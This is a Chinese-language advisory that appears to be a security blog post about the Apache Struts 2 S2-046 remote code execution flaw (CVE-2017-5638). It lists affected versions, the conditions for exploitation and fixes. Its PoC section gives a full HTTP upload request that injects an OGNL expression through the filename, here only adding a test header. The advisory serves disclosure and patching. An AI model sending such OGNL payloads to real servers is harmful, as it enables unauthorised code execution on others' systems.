Struts 2远程命令执行漏洞S2-046

st2

漏洞概述

Apache Struts 2又曝存在远程命令执行漏洞,漏洞编号为S2-046,和漏洞编号为S2-045的CVE编号都为CVE-2017-5638,S2-045是Content-Type值,S2-046是Content-Length,同一个问题不同攻击向量,没有升级只用WAF拦截的也有可能受到影响。

漏洞详情

  • 漏洞编号:S2-045
  • CVE编号:CVE-2017-5638

攻击者可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

  • 漏洞编号:S2-046
  • CVE编号:CVE-2017-5638

攻击者使用基于Jakarta插件上传文件时,通过修改Content-Length头的值,并且在Content-Disposition 值中添加恶意代码,导致远程代码执行。

影响范围

  • 风险等级:高风险
  • 漏洞风险:攻击者通过利用漏洞可以实现远程命令执行
  • 影响版本:Struts 2.3.5-Struts 2.3.31、Struts 2.5-Struts 2.5.10
  • 安全版本:Struts 2.3.32、Struts 2.5.10.1

漏洞分析

漏洞关键点

  • 使用JakartaStream Multipart Request。此要求意味着Struts2需要Jakarta stream parser配置(非默认)。检查Struts2配置文件中以下配置: <constant name =“struts.multipart.parser”value =“jakarta-stream”/>
  • 上传文件的大小(由Content-Length头指定)要大于Struts2默认允许的2GB大小。
  • 文件名包含OGNL payload。

PoC

https://github.com/pwntester/S2-046-PoC

https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#

POST /doUpload.action HTTP/1.1

Host: localhost:8080

Content-Length: 10000000

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z

Connection: close

 

------WebKitFormBoundaryAnmUgTEhFhOZpr9z

Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"

Content-Type: text/plain

Kaboom 

------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

修复建议

  1. 如果你在使用基于Jakarta插件的文件上传Multipart解析器,请将Apache Struts升级到2.3.32或2.5.10.1版本。
  2. 严格过滤Content-Typefilename里的内容,严禁ognl表达式相关字段。

参考

http://struts.apache.org/docs/s2-045.html

http://struts.apache.org/docs/s2-046.html

https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#

https://cwiki.apache.org/confluence/display/WW/S2-046

https://gist.github.com/frohoff/a3e24764561c0c18b6270805140e7600

 

*转载请注明来自MottoIN,未经允许不得转载!

原创文章,作者:Moto,如若转载,请注明出处:http://www.mottoin.com/article/web/98591.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code